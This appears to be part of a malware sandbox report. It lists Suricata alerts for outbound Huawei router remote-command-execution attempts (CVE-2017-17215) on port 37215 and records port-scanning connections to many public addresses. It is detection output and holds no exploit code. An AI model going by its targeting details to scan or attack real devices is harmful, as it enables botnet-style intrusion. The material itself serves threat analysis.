Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37950 -> 41.18.225.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51034 -> 41.182.51.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44464 -> 41.86.59.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50604 -> 41.210.160.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50126 -> 197.24.38.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59234 -> 41.191.9.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51340 -> 156.154.243.104:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43100 -> 156.130.157.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44114 -> 156.61.64.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51618 -> 156.8.110.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51186 -> 41.97.182.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45622 -> 197.221.29.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49170 -> 41.76.188.140:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38672 -> 41.5.241.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50050 -> 156.5.216.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58014 -> 197.171.117.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56442 -> 156.20.35.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45920 -> 197.10.146.244:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54818 -> 41.201.2.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36902 -> 41.238.251.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60944 -> 41.156.89.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55100 -> 41.51.176.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59536 -> 156.22.179.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55650 -> 156.211.205.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37170 -> 156.247.83.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55452 -> 156.218.40.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56054 -> 156.95.220.26:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35786 -> 197.248.62.201:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34248 -> 156.197.87.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43430 -> 41.232.176.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32864 -> 41.133.102.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53216 -> 156.231.160.220:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60710 -> 197.150.231.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56536 -> 41.155.100.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60846 -> 41.144.60.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40398 -> 41.66.135.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58746 -> 197.155.100.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43010 -> 156.91.150.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59510 -> 41.68.115.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54962 -> 197.235.171.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44220 -> 41.138.80.222:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57546 -> 41.109.112.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49766 -> 156.94.240.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45090 -> 41.119.10.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49648 -> 197.9.111.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50406 -> 197.242.1.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48566 -> 197.214.85.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38558 -> 41.191.50.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53242 -> 156.116.132.81:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58988 -> 156.4.233.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33508 -> 156.84.146.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40316 -> 197.57.29.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34364 -> 156.14.191.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51960 -> 197.33.199.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45924 -> 197.171.81.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41828 -> 197.246.160.83:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43700 -> 41.220.230.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39120 -> 41.175.100.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35060 -> 197.169.152.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47718 -> 197.203.206.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47254 -> 41.110.203.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39106 -> 41.128.120.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48578 -> 197.4.44.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46266 -> 156.164.128.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34480 -> 156.219.11.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56654 -> 156.227.8.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49826 -> 41.14.214.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56894 -> 197.93.53.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36070 -> 197.14.138.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41338 -> 41.196.204.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53298 -> 156.157.197.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33018 -> 41.224.97.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43984 -> 41.172.24.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47312 -> 197.7.155.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54266 -> 41.104.69.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44522 -> 156.136.125.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42804 -> 156.183.64.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40698 -> 156.161.246.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41134 -> 156.5.124.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48424 -> 156.241.51.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59832 -> 156.252.156.87:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49514 -> 197.110.58.87:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54046 -> 156.21.179.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40576 -> 41.246.185.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36754 -> 156.218.75.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52808 -> 41.249.19.15:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38474 -> 197.15.250.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46036 -> 41.253.26.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50400 -> 156.2.217.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51852 -> 41.14.231.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46108 -> 156.2.249.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56344 -> 156.228.143.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53368 -> 156.21.188.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33214 -> 156.189.16.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42620 -> 197.18.141.225:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51556 -> 197.73.121.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47628 -> 197.141.183.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35122 -> 41.240.85.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52262 -> 197.86.59.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54010 -> 197.221.14.49:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38846 -> 156.222.188.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48192 -> 41.189.172.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32956 -> 41.243.246.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47722 -> 156.68.135.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36826 -> 197.185.192.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53392 -> 197.23.225.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48204 -> 41.179.193.119:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.121.85.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.215.146.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.204.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.9.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.144.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.121.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.205.151.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.111.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.138.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.244.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.32.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.187.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.97.180.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.137.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.214.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.182.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.112.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.167.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.237.78.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.10.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.175.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.77.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.203.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.58.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.162.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.43.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.46.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.131.205.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.62.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.197.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.31.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.115.234.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.109.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.190.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.1.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.112.217.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.170.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.124.12.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.217.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.90.124.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.246.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.226.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.130.213.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.228.8.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.145.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.65.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.200.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.144.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.252.34.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.171.48.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.132.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.170.216.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.149.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.180.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.154.185.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.176.150.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.39.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.1.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.204.90.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.150.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.148.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.204.188.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.76.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.97.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.98.240.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.182.12.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.84.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.125.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.21.110.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.90.202.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.193.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.15.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.207.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.32.65.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.181.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.118.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.135.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.154.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.147.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.36.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.181.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.167.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.106.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.118.22.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.123.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.130.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.42.99.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.52.19.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.156.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.28.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.179.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.106.16.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.57.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.218.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.138.131.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.179.238.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.130.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.163.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.25.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.123.191.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.242.157.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.14.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.211.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.191.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.130.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.93.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.79.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.101.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.153.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.66.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.63.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.121.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.70.230.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.248.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.114.127.246 ports 1,2,3,5,7,37215
